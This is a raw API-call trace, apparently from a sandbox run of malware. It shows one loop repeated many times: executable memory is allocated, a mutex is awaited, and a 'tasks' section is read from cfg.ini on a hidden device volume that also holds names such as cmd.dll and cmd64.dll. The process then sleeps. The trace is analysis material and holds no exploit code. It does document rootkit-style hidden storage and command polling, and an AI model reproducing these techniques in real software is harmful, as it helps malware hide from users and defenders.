0xc000007e [0124.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.739] KeLeaveCriticalRegion () [0124.739] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.739] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.739] KeEnterCriticalRegion () [0124.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.739] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0124.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.739] KeLeaveCriticalRegion () [0124.739] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.739] ReleaseMutex (hMutex=0xf0) returned 1 [0124.739] Sleep (dwMilliseconds=0x927c0) [0124.753] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.753] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.753] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.753] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.753] KeEnterCriticalRegion () [0124.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.753] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.753] IdePortDispatch () returned 0x103 [0124.754] KeWaitForMutexObject () returned 0x0 [0124.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.754] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.754] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.754] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.754] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.754] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3530 [0124.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.754] KeLeaveCriticalRegion () [0124.754] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.754] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.754] KeEnterCriticalRegion () [0124.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.754] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.754] KeLeaveCriticalRegion () [0124.754] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.754] KeEnterCriticalRegion () [0124.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.754] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.754] IdePortDispatch () returned 0x103 [0124.754] KeWaitForMutexObject () returned 0x0 [0124.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.754] KeLeaveCriticalRegion () [0124.754] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.754] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.755] KeEnterCriticalRegion () [0124.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.755] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b4000 [0124.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.755] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.755] IdePortDispatch () returned 0x103 [0124.755] KeWaitForMutexObject () returned 0x0 [0124.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.755] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.755] IdePortDispatch () returned 0x103 [0124.755] KeWaitForMutexObject () returned 0x0 [0124.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.755] KeLeaveCriticalRegion () [0124.755] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.756] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.756] KeEnterCriticalRegion () [0124.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.756] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.756] KeLeaveCriticalRegion () [0124.756] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.756] KeEnterCriticalRegion () [0124.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.756] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.756] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.756] KeLeaveCriticalRegion () [0124.756] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.756] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.756] KeEnterCriticalRegion () [0124.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.756] ExFreePoolWithTag (P=0xfffffa8003bf3530, Tag=0x0) [0124.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.756] KeLeaveCriticalRegion () [0124.756] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.756] ReleaseMutex (hMutex=0xf0) returned 1 [0124.756] Sleep (dwMilliseconds=0x927c0) [0124.770] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.770] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.770] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.770] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.770] KeEnterCriticalRegion () [0124.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.770] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.770] IdePortDispatch () returned 0x103 [0124.770] KeWaitForMutexObject () returned 0x0 [0124.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.770] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.770] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.770] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.770] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.770] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ad0 [0124.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.770] KeLeaveCriticalRegion () [0124.770] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.770] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.770] KeEnterCriticalRegion () [0124.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.770] KeLeaveCriticalRegion () [0124.770] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.770] KeEnterCriticalRegion () [0124.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.771] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.771] IdePortDispatch () returned 0x103 [0124.771] KeWaitForMutexObject () returned 0x0 [0124.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.771] KeLeaveCriticalRegion () [0124.771] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.771] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.771] KeEnterCriticalRegion () [0124.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.771] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b9000 [0124.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.771] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.771] IdePortDispatch () returned 0x103 [0124.771] KeWaitForMutexObject () returned 0x0 [0124.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.771] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.771] IdePortDispatch () returned 0x103 [0124.772] KeWaitForMutexObject () returned 0x0 [0124.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.772] KeLeaveCriticalRegion () [0124.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.772] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.772] KeEnterCriticalRegion () [0124.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.772] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.772] KeLeaveCriticalRegion () [0124.772] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.772] KeEnterCriticalRegion () [0124.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.772] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.772] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.772] KeLeaveCriticalRegion () [0124.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.772] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.772] KeEnterCriticalRegion () [0124.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.772] ExFreePoolWithTag (P=0xfffffa8003bf3ad0, Tag=0x0) [0124.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.772] KeLeaveCriticalRegion () [0124.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.773] ReleaseMutex (hMutex=0xf0) returned 1 [0124.773] Sleep (dwMilliseconds=0x927c0) [0124.788] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.788] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.788] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.788] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.788] KeEnterCriticalRegion () [0124.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.788] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.788] IdePortDispatch () returned 0x103 [0124.788] KeWaitForMutexObject () returned 0x0 [0124.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.788] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.788] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.788] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.788] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3570 [0124.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.788] KeLeaveCriticalRegion () [0124.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.788] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.788] KeEnterCriticalRegion () [0124.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.788] KeLeaveCriticalRegion () [0124.789] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.789] KeEnterCriticalRegion () [0124.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.789] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.789] IdePortDispatch () returned 0x103 [0124.789] KeWaitForMutexObject () returned 0x0 [0124.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.789] KeLeaveCriticalRegion () [0124.789] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.789] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.789] KeEnterCriticalRegion () [0124.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035be000 [0124.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.789] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.789] IdePortDispatch () returned 0x103 [0124.789] KeWaitForMutexObject () returned 0x0 [0124.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.789] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.789] IdePortDispatch () returned 0x103 [0124.790] KeWaitForMutexObject () returned 0x0 [0124.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.790] KeLeaveCriticalRegion () [0124.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.790] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.790] KeEnterCriticalRegion () [0124.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.790] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.790] KeLeaveCriticalRegion () [0124.790] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.790] KeEnterCriticalRegion () [0124.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.790] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.790] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf30e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.790] KeLeaveCriticalRegion () [0124.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.790] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.790] KeEnterCriticalRegion () [0124.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.791] ExFreePoolWithTag (P=0xfffffa8003bf3570, Tag=0x0) [0124.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.791] KeLeaveCriticalRegion () [0124.791] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.791] ReleaseMutex (hMutex=0xf0) returned 1 [0124.791] Sleep (dwMilliseconds=0x927c0) [0124.804] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.804] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.804] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.804] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.804] KeEnterCriticalRegion () [0124.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.804] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.804] IdePortDispatch () returned 0x103 [0124.804] KeWaitForMutexObject () returned 0x0 [0124.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 